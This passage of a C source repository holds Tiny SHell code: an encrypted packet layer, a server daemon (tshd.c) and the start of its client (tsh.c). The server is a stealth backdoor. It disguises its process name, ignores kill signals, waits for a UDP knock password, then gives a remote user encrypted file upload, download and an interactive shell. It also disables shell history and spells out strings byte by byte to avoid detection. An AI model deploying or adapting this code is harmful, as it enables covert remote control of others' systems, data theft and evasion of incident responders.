20 ); 79 | 80 | pid++; 81 | 82 | if( gettimeofday( &tv, NULL ) < 0 ) 83 | { 84 | pel_errno = PEL_SYSTEM_ERROR; 85 | 86 | return( PEL_FAILURE ); 87 | } 88 | 89 | sha1_starts( &sha1_ctx ); 90 | sha1_update( &sha1_ctx, (uint8 *) &tv, sizeof( tv ) ); 91 | sha1_update( &sha1_ctx, (uint8 *) &pid, sizeof( pid ) ); 92 | sha1_finish( &sha1_ctx, &buffer[20] ); 93 | 94 | memcpy( IV2, &buffer[20], 20 ); 95 | 96 | /* and pass them to the server */ 97 | 98 | ret = pel_send_all( server, buffer, 40, 0 ); 99 | 100 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 101 | 102 | /* setup the session keys */ 103 | 104 | pel_setup_context( &send_ctx, key, IV1 ); 105 | pel_setup_context( &recv_ctx, key, IV2 ); 106 | 107 | /* handshake - encrypt and send the client's challenge */ 108 | 109 | ret = pel_send_msg( server, challenge, 16 ); 110 | 111 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 112 | 113 | /* handshake - decrypt and verify the server's challenge */ 114 | 115 | ret = pel_recv_msg( server, buffer, &len ); 116 | 117 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 118 | 119 | if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 ) 120 | { 121 | pel_errno = PEL_WRONG_CHALLENGE; 122 | 123 | return( PEL_FAILURE ); 124 | } 125 | 126 | pel_errno = PEL_UNDEFINED_ERROR; 127 | 128 | return( PEL_SUCCESS ); 129 | } 130 | 131 | /* session setup - server side */ 132 | 133 | int pel_server_init( int client, char *key ) 134 | { 135 | int ret, len; 136 | unsigned char IV1[20], IV2[20]; 137 | 138 | /* get the IVs from the client */ 139 | 140 | ret = pel_recv_all( client, buffer, 40, 0 ); 141 | 142 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 143 | 144 | memcpy( IV2, &buffer[ 0], 20 ); 145 | memcpy( IV1, &buffer[20], 20 ); 146 | 147 | /* setup the session keys */ 148 | 149 | pel_setup_context( &send_ctx, key, IV1 ); 150 | pel_setup_context( &recv_ctx, key, IV2 ); 151 | 152 | /* handshake - decrypt and verify the client's challenge */ 153 | 154 | ret = pel_recv_msg( client, buffer, &len ); 155 | 156 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 157 | 158 | if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 ) 159 | { 160 | pel_errno = PEL_WRONG_CHALLENGE; 161 | 162 | return( PEL_FAILURE ); 163 | } 164 | 165 | /* handshake - encrypt and send the server's challenge */ 166 | 167 | ret = pel_send_msg( client, challenge, 16 ); 168 | 169 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 170 | 171 | pel_errno = PEL_UNDEFINED_ERROR; 172 | 173 | return( PEL_SUCCESS ); 174 | } 175 | 176 | /* this routine computes the AES & HMAC session keys */ 177 | 178 | void pel_setup_context( struct pel_context *pel_ctx, 179 | char *key, unsigned char IV[20] ) 180 | { 181 | int i; 182 | struct sha1_context sha1_ctx; 183 | 184 | sha1_starts( &sha1_ctx ); 185 | sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) ); 186 | sha1_update( &sha1_ctx, IV, 20 ); 187 | sha1_finish( &sha1_ctx, buffer ); 188 | 189 | aes_set_key( &pel_ctx->SK, buffer, 128 ); 190 | 191 | memcpy( pel_ctx->LCT, IV, 16 ); 192 | 193 | memset( pel_ctx->k_ipad, 0x36, 64 ); 194 | memset( pel_ctx->k_opad, 0x5C, 64 ); 195 | 196 | for( i = 0; i < 20; i++ ) 197 | { 198 | pel_ctx->k_ipad[i] ^= buffer[i]; 199 | pel_ctx->k_opad[i] ^= buffer[i]; 200 | } 201 | 202 | pel_ctx->p_cntr = 0; 203 | } 204 | 205 | /* encrypt and transmit a message */ 206 | 207 | int pel_send_msg( int sockfd, unsigned char *msg, int length ) 208 | { 209 | unsigned char digest[20]; 210 | struct sha1_context sha1_ctx; 211 | int i, j, ret, blk_len; 212 | 213 | /* verify the message length */ 214 | 215 | if( length <= 0 || length > BUFSIZE ) 216 | { 217 | pel_errno = PEL_BAD_MSG_LENGTH; 218 | 219 | return( PEL_FAILURE ); 220 | } 221 | 222 | /* write the message length at start of buffer */ 223 | 224 | buffer[0] = ( length >> 8 ) & 0xFF; 225 | buffer[1] = ( length ) & 0xFF; 226 | 227 | /* append the message content */ 228 | 229 | memcpy( buffer + 2, msg, length ); 230 | 231 | /* round up to AES block length (16 bytes) */ 232 | 233 | blk_len = 2 + length; 234 | 235 | if( ( blk_len & 0x0F ) != 0 ) 236 | { 237 | blk_len += 16 - ( blk_len & 0x0F ); 238 | } 239 | 240 | /* encrypt the buffer with AES-CBC-128 */ 241 | 242 | for( i = 0; i < blk_len; i += 16 ) 243 | { 244 | for( j = 0; j < 16; j++ ) 245 | { 246 | buffer[i + j] ^= send_ctx.LCT[j]; 247 | } 248 | 249 | aes_encrypt( &send_ctx.SK, &buffer[i] ); 250 | 251 | memcpy( send_ctx.LCT, &buffer[i], 16 ); 252 | } 253 | 254 | /* compute the HMAC-SHA1 of the ciphertext */ 255 | 256 | buffer[blk_len ] = ( send_ctx.p_cntr << 24 ) & 0xFF; 257 | buffer[blk_len + 1] = ( send_ctx.p_cntr << 16 ) & 0xFF; 258 | buffer[blk_len + 2] = ( send_ctx.p_cntr << 8 ) & 0xFF; 259 | buffer[blk_len + 3] = ( send_ctx.p_cntr ) & 0xFF; 260 | 261 | sha1_starts( &sha1_ctx ); 262 | sha1_update( &sha1_ctx, send_ctx.k_ipad, 64 ); 263 | sha1_update( &sha1_ctx, buffer, blk_len + 4 ); 264 | sha1_finish( &sha1_ctx, digest ); 265 | 266 | sha1_starts( &sha1_ctx ); 267 | sha1_update( &sha1_ctx, send_ctx.k_opad, 64 ); 268 | sha1_update( &sha1_ctx, digest, 20 ); 269 | sha1_finish( &sha1_ctx, &buffer[blk_len] ); 270 | 271 | /* increment the packet counter */ 272 | 273 | send_ctx.p_cntr++; 274 | 275 | /* transmit ciphertext and message authentication code */ 276 | 277 | ret = pel_send_all( sockfd, buffer, blk_len + 20, 0 ); 278 | 279 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 280 | 281 | pel_errno = PEL_UNDEFINED_ERROR; 282 | 283 | return( PEL_SUCCESS ); 284 | } 285 | 286 | /* receive and decrypt a message */ 287 | 288 | int pel_recv_msg( int sockfd, unsigned char *msg, int *length ) 289 | { 290 | unsigned char temp[16]; 291 | unsigned char hmac[20]; 292 | unsigned char digest[20]; 293 | struct sha1_context sha1_ctx; 294 | int i, j, ret, blk_len; 295 | 296 | /* receive the first encrypted block */ 297 | 298 | ret = pel_recv_all( sockfd, buffer, 16, 0 ); 299 | 300 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 301 | 302 | /* decrypt this block and extract the message length */ 303 | 304 | memcpy( temp, buffer, 16 ); 305 | 306 | aes_decrypt( &recv_ctx.SK, buffer ); 307 | 308 | for( j = 0; j < 16; j++ ) 309 | { 310 | buffer[j] ^= recv_ctx.LCT[j]; 311 | } 312 | 313 | *length = ( ((int) buffer[0]) << 8 ) + (int) buffer[1]; 314 | 315 | /* restore the ciphertext */ 316 | 317 | memcpy( buffer, temp, 16 ); 318 | 319 | /* verify the message length */ 320 | 321 | if( *length <= 0 || *length > BUFSIZE ) 322 | { 323 | pel_errno = PEL_BAD_MSG_LENGTH; 324 | 325 | return( PEL_FAILURE ); 326 | } 327 | 328 | /* round up to AES block length (16 bytes) */ 329 | 330 | blk_len = 2 + *length; 331 | 332 | if( ( blk_len & 0x0F ) != 0 ) 333 | { 334 | blk_len += 16 - ( blk_len & 0x0F ); 335 | } 336 | 337 | /* receive the remaining ciphertext and the mac */ 338 | 339 | ret = pel_recv_all( sockfd, &buffer[16], blk_len - 16 + 20, 0 ); 340 | 341 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 342 | 343 | memcpy( hmac, &buffer[blk_len], 20 ); 344 | 345 | /* verify the ciphertext integrity */ 346 | 347 | buffer[blk_len ] = ( recv_ctx.p_cntr << 24 ) & 0xFF; 348 | buffer[blk_len + 1] = ( recv_ctx.p_cntr << 16 ) & 0xFF; 349 | buffer[blk_len + 2] = ( recv_ctx.p_cntr << 8 ) & 0xFF; 350 | buffer[blk_len + 3] = ( recv_ctx.p_cntr ) & 0xFF; 351 | 352 | sha1_starts( &sha1_ctx ); 353 | sha1_update( &sha1_ctx, recv_ctx.k_ipad, 64 ); 354 | sha1_update( &sha1_ctx, buffer, blk_len + 4 ); 355 | sha1_finish( &sha1_ctx, digest ); 356 | 357 | sha1_starts( &sha1_ctx ); 358 | sha1_update( &sha1_ctx, recv_ctx.k_opad, 64 ); 359 | sha1_update( &sha1_ctx, digest, 20 ); 360 | sha1_finish( &sha1_ctx, digest ); 361 | 362 | if( memcmp( hmac, digest, 20 ) != 0 ) 363 | { 364 | pel_errno = PEL_CORRUPTED_DATA; 365 | 366 | return( PEL_FAILURE ); 367 | } 368 | 369 | /* increment the packet counter */ 370 | 371 | recv_ctx.p_cntr++; 372 | 373 | /* finally, decrypt and copy the message */ 374 | 375 | for( i = 0; i < blk_len; i += 16 ) 376 | { 377 | memcpy( temp, &buffer[i], 16 ); 378 | 379 | aes_decrypt( &recv_ctx.SK, &buffer[i] ); 380 | 381 | for( j = 0; j < 16; j++ ) 382 | { 383 | buffer[i + j] ^= recv_ctx.LCT[j]; 384 | } 385 | 386 | memcpy( recv_ctx.LCT, temp, 16 ); 387 | } 388 | 389 | memcpy( msg, &buffer[2], *length ); 390 | 391 | pel_errno = PEL_UNDEFINED_ERROR; 392 | 393 | return( PEL_SUCCESS ); 394 | } 395 | 396 | /* send/recv wrappers to handle fragmented TCP packets */ 397 | 398 | int pel_send_all( int s, void *buf, size_t len, int flags ) 399 | { 400 | int n; 401 | size_t sum = 0; 402 | char *offset = buf; 403 | 404 | while( sum < len ) 405 | { 406 | n = send( s, (void *) offset, len - sum, flags ); 407 | 408 | if( n < 0 ) 409 | { 410 | pel_errno = PEL_SYSTEM_ERROR; 411 | 412 | return( PEL_FAILURE ); 413 | } 414 | 415 | sum += n; 416 | 417 | offset += n; 418 | } 419 | 420 | pel_errno = PEL_UNDEFINED_ERROR; 421 | 422 | return( PEL_SUCCESS ); 423 | } 424 | 425 | int pel_recv_all( int s, void *buf, size_t len, int flags ) 426 | { 427 | int n; 428 | size_t sum = 0; 429 | char *offset = buf; 430 | 431 | while( sum < len ) 432 | { 433 | n = recv( s, (void *) offset, len - sum, flags ); 434 | 435 | if( n == 0 ) 436 | { 437 | pel_errno = PEL_CONN_CLOSED; 438 | 439 | return( PEL_FAILURE ); 440 | } 441 | 442 | if( n < 0 ) 443 | { 444 | pel_errno = PEL_SYSTEM_ERROR; 445 | 446 | return( PEL_FAILURE ); 447 | } 448 | 449 | sum += n; 450 | 451 | offset += n; 452 | } 453 | 454 | pel_errno = PEL_UNDEFINED_ERROR; 455 | 456 | return( PEL_SUCCESS ); 457 | } 458 | -------------------------------------------------------------------------------- /tshd.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Tiny SHell version 0.6 - server side, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | /* PTY support requires system-specific #include */ 22 | 23 | #if defined LINUX || defined OSF 24 | #include 25 | #else 26 | #if defined FREEBSD 27 | #include 28 | #else 29 | #if defined OPENBSD 30 | #include 31 | #else 32 | #if defined SUNOS || defined HPUX 33 | #include 34 | #else 35 | #if ! defined CYGWIN && ! defined IRIX 36 | #error Undefined host system 37 | #endif 38 | #endif 39 | #endif 40 | #endif 41 | #endif 42 | 43 | #include "tsh.h" 44 | #include "pel.h" 45 | 46 | unsigned char message[BUFSIZE + 1]; 47 | 48 | /* function declaration */ 49 | 50 | void knock(); 51 | int open_the_door(); 52 | 53 | int tshd_get_file( int client ); 54 | int tshd_put_file( int client ); 55 | int tshd_runshell( int client ); 56 | 57 | /* program entry point */ 58 | 59 | int main(int argc, char const *argv[]) 60 | { 61 | int pid, n; 62 | 63 | /* new process name and ignore signal */ 64 | 65 | prctl(PR_SET_NAME, BINARY_NAME); 66 | strcpy(argv[0], BINARY_NAME); 67 | signal(SIGCHLD, SIG_IGN); 68 | signal(SIGTERM, SIG_IGN); 69 | signal(SIGHUP, SIG_IGN); 70 | signal(SIGINT, SIG_IGN); 71 | signal(SIGQUIT, SIG_IGN); 72 | signal(SIGALRM, SIG_IGN); 73 | 74 | /* fork into background */ 75 | 76 | pid = fork(); 77 | 78 | if( pid < 0 ) 79 | { 80 | return( 1 ); 81 | } 82 | 83 | if( pid != 0 ) 84 | { 85 | return( 0 ); 86 | } 87 | 88 | /* create a new session */ 89 | 90 | if( setsid() < 0 ) 91 | { 92 | return( 2 ); 93 | } 94 | 95 | /* close all file descriptors */ 96 | 97 | for( n = 0; n < 1024; n++ ) 98 | { 99 | close( n ); 100 | } 101 | 102 | while(1) 103 | { 104 | /* knock knock open the door */ 105 | knock(); 106 | 107 | open_the_door(); 108 | } 109 | 110 | return 0; 111 | } 112 | 113 | int open_the_door() 114 | { 115 | int ret, len, pid, n; 116 | 117 | int client, server; 118 | struct sockaddr_in server_addr; 119 | struct sockaddr_in client_addr; 120 | 121 | 122 | /* create a socket */ 123 | 124 | server = socket( AF_INET, SOCK_STREAM, IPPROTO_SCTP ); 125 | 126 | if( server < 0 ) 127 | { 128 | return( 3 ); 129 | } 130 | 131 | /* bind the server on the port the client will connect to */ 132 | 133 | n = 1; 134 | 135 | ret = setsockopt( server, SOL_SOCKET, SO_REUSEADDR, 136 | (void *) &n, sizeof( n ) ); 137 | 138 | if( ret < 0 ) 139 | { 140 | return( 4 ); 141 | } 142 | 143 | server_addr.sin_family = AF_INET; 144 | server_addr.sin_port = htons( SERVER_PORT ); 145 | server_addr.sin_addr.s_addr = INADDR_ANY; 146 | 147 | ret = bind( server, (struct sockaddr *) &server_addr, 148 | sizeof( server_addr ) ); 149 | 150 | if( ret < 0 ) 151 | { 152 | return( 5 ); 153 | } 154 | 155 | if( listen( server, 5 ) < 0 ) 156 | { 157 | return( 6 ); 158 | } 159 | 160 | 161 | /* wait for inboud connections */ 162 | 163 | n = sizeof( client_addr ); 164 | 165 | client = accept( server, (struct sockaddr *) 166 | &client_addr, &n ); 167 | 168 | if( client < 0 ) 169 | { 170 | return( 7 ); 171 | } 172 | 173 | 174 | close( server ); 175 | 176 | 177 | /* setup the packet encryption layer */ 178 | 179 | alarm( 3 ); 180 | 181 | ret = pel_server_init( client, secret ); 182 | 183 | if( ret != PEL_SUCCESS ) 184 | { 185 | shutdown( client, 2 ); 186 | return( 10 ); 187 | } 188 | 189 | alarm( 0 ); 190 | 191 | /* get the action requested by the client */ 192 | 193 | ret = pel_recv_msg( client, message, &len ); 194 | 195 | if( ret != PEL_SUCCESS || len != 1 ) 196 | { 197 | shutdown( client, 2 ); 198 | return( 11 ); 199 | } 200 | 201 | /* howdy */ 202 | 203 | switch( message[0] ) 204 | { 205 | case GET_FILE: 206 | 207 | ret = tshd_get_file( client ); 208 | break; 209 | 210 | case PUT_FILE: 211 | 212 | ret = tshd_put_file( client ); 213 | break; 214 | 215 | case RUNSHELL: 216 | 217 | ret = tshd_runshell( client ); 218 | break; 219 | 220 | default: 221 | 222 | ret = 12; 223 | break; 224 | } 225 | 226 | shutdown( client, 2 ); 227 | return( ret ); 228 | 229 | /* not reached */ 230 | 231 | return( 13 ); 232 | } 233 | 234 | int tshd_get_file( int client ) 235 | { 236 | int ret, len, fd; 237 | 238 | /* get the filename */ 239 | 240 | ret = pel_recv_msg( client, message, &len ); 241 | 242 | if( ret != PEL_SUCCESS ) 243 | { 244 | return( 14 ); 245 | } 246 | 247 | message[len] = '\0'; 248 | 249 | /* open local file */ 250 | 251 | fd = open( (char *) message, O_RDONLY ); 252 | 253 | if( fd < 0 ) 254 | { 255 | return( 15 ); 256 | } 257 | 258 | /* send the data */ 259 | 260 | while( 1 ) 261 | { 262 | len = read( fd, message, BUFSIZE ); 263 | 264 | if( len == 0 ) break; 265 | 266 | if( len < 0 ) 267 | { 268 | return( 16 ); 269 | } 270 | 271 | ret = pel_send_msg( client, message, len ); 272 | 273 | if( ret != PEL_SUCCESS ) 274 | { 275 | return( 17 ); 276 | } 277 | } 278 | 279 | return( 18 ); 280 | } 281 | 282 | int tshd_put_file( int client ) 283 | { 284 | int ret, len, fd; 285 | 286 | /* get the filename */ 287 | 288 | ret = pel_recv_msg( client, message, &len ); 289 | 290 | if( ret != PEL_SUCCESS ) 291 | { 292 | return( 19 ); 293 | } 294 | 295 | message[len] = '\0'; 296 | 297 | /* create local file */ 298 | 299 | fd = creat( (char *) message, 0644 ); 300 | 301 | if( fd < 0 ) 302 | { 303 | return( 20 ); 304 | } 305 | 306 | /* fetch the data */ 307 | 308 | while( 1 ) 309 | { 310 | ret = pel_recv_msg( client, message, &len ); 311 | 312 | if( ret != PEL_SUCCESS ) 313 | { 314 | if( pel_errno == PEL_CONN_CLOSED ) 315 | { 316 | break; 317 | } 318 | 319 | return( 21 ); 320 | } 321 | 322 | if( write( fd, message, len ) != len ) 323 | { 324 | return( 22 ); 325 | } 326 | } 327 | 328 | return( 23 ); 329 | } 330 | 331 | int tshd_runshell( int client ) 332 | { 333 | fd_set rd; 334 | struct winsize ws; 335 | char *slave, *temp, *shell; 336 | int ret, len, pid, pty, tty, n; 337 | 338 | /* request a pseudo-terminal */ 339 | 340 | #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF 341 | 342 | if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 ) 343 | { 344 | return( 24 ); 345 | } 346 | 347 | slave = ttyname( tty ); 348 | 349 | if( slave == NULL ) 350 | { 351 | return( 25 ); 352 | } 353 | 354 | #else 355 | #if defined IRIX 356 | 357 | slave = _getpty( &pty, O_RDWR, 0622, 0 ); 358 | 359 | if( slave == NULL ) 360 | { 361 | return( 26 ); 362 | } 363 | 364 | tty = open( slave, O_RDWR | O_NOCTTY ); 365 | 366 | if( tty < 0 ) 367 | { 368 | return( 27 ); 369 | } 370 | 371 | #else 372 | #if defined CYGWIN || defined SUNOS || defined HPUX 373 | 374 | pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY ); 375 | 376 | if( pty < 0 ) 377 | { 378 | return( 28 ); 379 | } 380 | 381 | if( grantpt( pty ) < 0 ) 382 | { 383 | return( 29 ); 384 | } 385 | 386 | if( unlockpt( pty ) < 0 ) 387 | { 388 | return( 30 ); 389 | } 390 | 391 | slave = ptsname( pty ); 392 | 393 | if( slave == NULL ) 394 | { 395 | return( 31 ); 396 | } 397 | 398 | tty = open( slave, O_RDWR | O_NOCTTY ); 399 | 400 | if( tty < 0 ) 401 | { 402 | return( 32 ); 403 | } 404 | 405 | #if defined SUNOS || defined HPUX 406 | 407 | if( ioctl( tty, I_PUSH, "ptem" ) < 0 ) 408 | { 409 | return( 33 ); 410 | } 411 | 412 | if( ioctl( tty, I_PUSH, "ldterm" ) < 0 ) 413 | { 414 | return( 34 ); 415 | } 416 | 417 | #if defined SUNOS 418 | 419 | if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 ) 420 | { 421 | return( 35 ); 422 | } 423 | 424 | #endif 425 | #endif 426 | #endif 427 | #endif 428 | #endif 429 | 430 | /* just in case bash is run, kill the history file */ 431 | 432 | temp = (char *) malloc( 10 ); 433 | 434 | if( temp == NULL ) 435 | { 436 | return( 36 ); 437 | } 438 | 439 | temp[0] = 'H'; temp[5] = 'I'; 440 | temp[1] = 'I'; temp[6] = 'L'; 441 | temp[2] = 'S'; temp[7] = 'E'; 442 | temp[3] = 'T'; temp[8] = '='; 443 | temp[4] = 'F'; temp[9] = '\0'; 444 | 445 | putenv( temp ); 446 | 447 | /* get the TERM environment variable */ 448 | 449 | ret = pel_recv_msg( client, message, &len ); 450 | 451 | if( ret != PEL_SUCCESS ) 452 | { 453 | return( 37 ); 454 | } 455 | 456 | message[len] = '\0'; 457 | 458 | temp = (char *) malloc( len + 6 ); 459 | 460 | if( temp == NULL ) 461 | { 462 | return( 38 ); 463 | } 464 | 465 | temp[0] = 'T'; temp[3] = 'M'; 466 | temp[1] = 'E'; temp[4] = '='; 467 | temp[2] = 'R'; 468 | 469 | strncpy( temp + 5, (char *) message, len + 1 ); 470 | 471 | putenv( temp ); 472 | 473 | /* get the window size */ 474 | 475 | ret = pel_recv_msg( client, message, &len ); 476 | 477 | if( ret != PEL_SUCCESS || len != 4 ) 478 | { 479 | return( 39 ); 480 | } 481 | 482 | ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1]; 483 | ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3]; 484 | 485 | ws.ws_xpixel = 0; 486 | ws.ws_ypixel = 0; 487 | 488 | if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 ) 489 | { 490 | return( 40 ); 491 | } 492 | 493 | /* get the system command */ 494 | 495 | ret = pel_recv_msg( client, message, &len ); 496 | 497 | if( ret != PEL_SUCCESS ) 498 | { 499 | return( 41 ); 500 | } 501 | 502 | message[len] = '\0'; 503 | 504 | temp = (char *) malloc( len + 1 ); 505 | 506 | if( temp == NULL ) 507 | { 508 | return( 42 ); 509 | } 510 | 511 | strncpy( temp, (char *) message, len + 1 ); 512 | 513 | /* fork to spawn a shell */ 514 | 515 | pid = fork(); 516 | 517 | if( pid < 0 ) 518 | { 519 | return( 43 ); 520 | } 521 | 522 | if( pid == 0 ) 523 | { 524 | /* close the client socket and the pty (master side) */ 525 | 526 | close( client ); 527 | close( pty ); 528 | 529 | /* create a new session */ 530 | 531 | if( setsid() < 0 ) 532 | { 533 | return( 44 ); 534 | } 535 | 536 | /* set controlling tty, to have job control */ 537 | 538 | #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF 539 | 540 | if( ioctl( tty, TIOCSCTTY, NULL ) < 0 ) 541 | { 542 | return( 45 ); 543 | } 544 | 545 | #else 546 | #if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX 547 | 548 | { 549 | int fd; 550 | 551 | fd = open( slave, O_RDWR ); 552 | 553 | if( fd < 0 ) 554 | { 555 | return( 46 ); 556 | } 557 | 558 | close( tty ); 559 | 560 | tty = fd; 561 | } 562 | 563 | #endif 564 | #endif 565 | 566 | /* tty becomes stdin, stdout, stderr */ 567 | 568 | dup2( tty, 0 ); 569 | dup2( tty, 1 ); 570 | dup2( tty, 2 ); 571 | 572 | if( tty > 2 ) 573 | { 574 | close( tty ); 575 | } 576 | 577 | /* fire up the shell */ 578 | 579 | shell = (char *) malloc( 8 ); 580 | 581 | if( shell == NULL ) 582 | { 583 | return( 47 ); 584 | } 585 | 586 | shell[0] = '/'; shell[4] = '/'; 587 | shell[1] = 'b'; shell[5] = 's'; 588 | shell[2] = 'i'; shell[6] = 'h'; 589 | shell[3] = 'n'; shell[7] = '\0'; 590 | 591 | execl( shell, shell + 5, "-c", temp, (char *) 0 ); 592 | 593 | /* d0h, this shouldn't happen */ 594 | 595 | return( 48 ); 596 | } 597 | else 598 | { 599 | /* tty (slave side) not needed anymore */ 600 | 601 | close( tty ); 602 | 603 | /* let's forward the data back and forth */ 604 | 605 | while( 1 ) 606 | { 607 | FD_ZERO( &rd ); 608 | FD_SET( client, &rd ); 609 | FD_SET( pty, &rd ); 610 | 611 | n = ( pty > client ) ? pty : client; 612 | 613 | if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 ) 614 | { 615 | return( 49 ); 616 | } 617 | 618 | if( FD_ISSET( client, &rd ) ) 619 | { 620 | ret = pel_recv_msg( client, message, &len ); 621 | 622 | if( ret != PEL_SUCCESS ) 623 | { 624 | return( 50 ); 625 | } 626 | 627 | if( write( pty, message, len ) != len ) 628 | { 629 | return( 51 ); 630 | } 631 | } 632 | 633 | if( FD_ISSET( pty, &rd ) ) 634 | { 635 | len = read( pty, message, BUFSIZE ); 636 | 637 | if( len == 0 ) break; 638 | 639 | if( len < 0 ) 640 | { 641 | return( 52 ); 642 | } 643 | 644 | ret = pel_send_msg( client, message, len ); 645 | 646 | if( ret != PEL_SUCCESS ) 647 | { 648 | return( 53 ); 649 | } 650 | } 651 | } 652 | 653 | return( 54 ); 654 | } 655 | 656 | /* not reached */ 657 | 658 | return( 55 ); 659 | } 660 | 661 | void knock() 662 | { 663 | struct sockaddr_in myaddr; /* our address */ 664 | struct sockaddr_in remaddr; /* remote address */ 665 | socklen_t addrlen = sizeof(remaddr); /* length of addresses */ 666 | int recvlen; /* # bytes received */ 667 | int fd; /* our socket */ 668 | unsigned char buf[BUFSIZE]; /* receive buffer */ 669 | 670 | 671 | /* create a UDP socket */ 672 | 673 | if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { 674 | perror("cannot create socket\n"); 675 | return; 676 | } 677 | 678 | /* bind the socket to any valid IP address and a specific port */ 679 | 680 | memset((char *)&myaddr, 0, sizeof(myaddr)); 681 | myaddr.sin_family = AF_INET; 682 | myaddr.sin_addr.s_addr = htonl(INADDR_ANY); 683 | myaddr.sin_port = htons(KNOCK_PORT); 684 | 685 | if (bind(fd, (struct sockaddr *)&myaddr, sizeof(myaddr)) < 0) { 686 | perror("bind failed"); 687 | return; 688 | } 689 | 690 | /* now loop, receiving data and printing what we received */ 691 | for (;;) { 692 | recvlen = recvfrom(fd, buf, BUFSIZE, 0, (struct sockaddr *)&remaddr, &addrlen); 693 | if (recvlen > strlen(KNOCK_PWD) ) { 694 | buf[recvlen-1] = 0; //to strip \n 695 | printf("%s", buf); 696 | if ( strcmp(buf, KNOCK_PWD) == 0) 697 | { 698 | close(fd); 699 | return; 700 | } 701 | } 702 | } 703 | /* never exits */ 704 | } 705 | -------------------------------------------------------------------------------- /tsh.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Tiny SHell version 0.6 - client side, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include "tsh.h" 21 | #include "pel.h" 22 | 23 | unsigned char message[BUFSIZE + 1]; 24 | 25 | /* function declaration */ 26 | int knock(const char* server); 27 | int tsh_get_file( int server, char *argv3, char *argv4 ); 28 | int tsh_put_file( int server, char *argv3, char *argv4 ); 29 | int tsh_runshell( int server, char *argv2 ); 30 | 31 | void pel_error( char *s ); 32 | 33 | /* program entry point */ 34 | 35 | int main( int argc, char *argv[] ) 36 | { 37 | int ret, client, server, n; 38 | struct sockaddr_in server_addr; 39 | struct sockaddr_in client_addr; 40 | struct hostent *server_host; 41 | char action, *password; 42 | 43 | action = 0; 44 | 45 | password = NULL; 46 | 47 | /* check the arguments */ 48 | 49 | if( argc == 5 && ! strcmp( argv[2], "get" ) ) 50 | { 51 | action = GET_FILE; 52 | } 53 | 54 | if( argc == 5 && ! strcmp( argv[2], "put" ) ) 55 | { 56 | action = PUT_FILE; 57 | } 58 | 59 | if( argc == 2 || argc == 3 ) 60 | { 61 | action = RUNSHELL; 62 | } 63 | 64 | if( action == 0 ) return( 1 ); 65 | 66 | knock(argv[1]); 67 | 68 | connect: 69 | 70 | if( strcmp( argv[1], "cb" ) != 0 ) 71 | { 72 | /* create a socket */ 73 | 74 | server = socket( AF_INET, SOCK_STREAM, IPPROTO_SCTP ); 75 | 76 | if( server < 0 ) 77 | { 78 | perror( "socket" ); 79 | return( 2 ); 80 | } 81 | 82 | /* resolve the server hostname */ 83 | 84 | server_host = gethostbyname( argv[1] ); 85 | 86 | if( server_host == NULL ) 87 | { 88 | fprintf( stderr, "gethostbyname failed.\n" ); 89 | return( 3 ); 90 | } 91 | 92 | memcpy( (void *) &server_addr.sin_addr, 93 | (void *) server_host->h_addr, 94 | server_host->h_length ); 95 | 96 | server_addr.sin_family = AF_INET; 97 | server_addr.sin_port = htons( SERVER_PORT ); 98 | 99 | /* connect to the remote host */ 100 | 101 | ret = connect( server, (struct sockaddr *) &server_addr, 102 | sizeof( server_addr ) ); 103 | 104 | if( ret < 0 ) 105 | { 106 | perror( "connect" ); 107 | return( 4 ); 108 | } 109 | } 110 | else 111 | { 112 | /* create a socket */ 113 | 114 | client = socket( AF_INET, SOCK_STREAM, IPPROTO_SCTP ); 115 | 116 | if( client < 0 ) 117 | { 118 | perror( "socket" ); 119 | return( 5 ); 120 | } 121 | 122 | /* bind the client on the port the server will connect to */ 123 | 124 | n = 1; 125 | 126 | ret = setsockopt( client, SOL_SOCKET, SO_REUSEADDR, 127 | (void *) &n, sizeof( n ) ); 128 | 129 | if( ret < 0 ) 130 | { 131 | perror( "setsockopt" ); 132 | return( 6 ); 133 | } 134 | 135 | client_addr.sin_family = AF_INET; 136 | client_addr.sin_port = htons( SERVER_PORT ); 137 | client_addr.sin_addr.s_addr = INADDR_ANY; 138 | 139 | ret = bind( client, (struct sockaddr *) &client_addr, 140 | sizeof( client_addr ) ); 141 | 142 | if( ret < 0 ) 143 | { 144 | perror( "bind" ); 145 | return( 7 ); 146 | } 147 | 148 | if( listen( client, 5 ) < 0 ) 149 | { 150 | perror( "listen" ); 151 | return( 8 ); 152 | } 153 | 154 | fprintf( stderr, "Waiting for the server to connect..." ); 155 | fflush( stderr ); 156 | 157 | n = sizeof( server_addr ); 158 | 159 | server = accept( client, (struct sockaddr *) 160 | &server_addr, &n ); 161 | 162 | if( server < 0 ) 163 | { 164 | perror( "accept" ); 165 | return( 9 ); 166 | } 167 | 168 | fprintf( stderr, "connected.\n" ); 169 | 170 | close( client ); 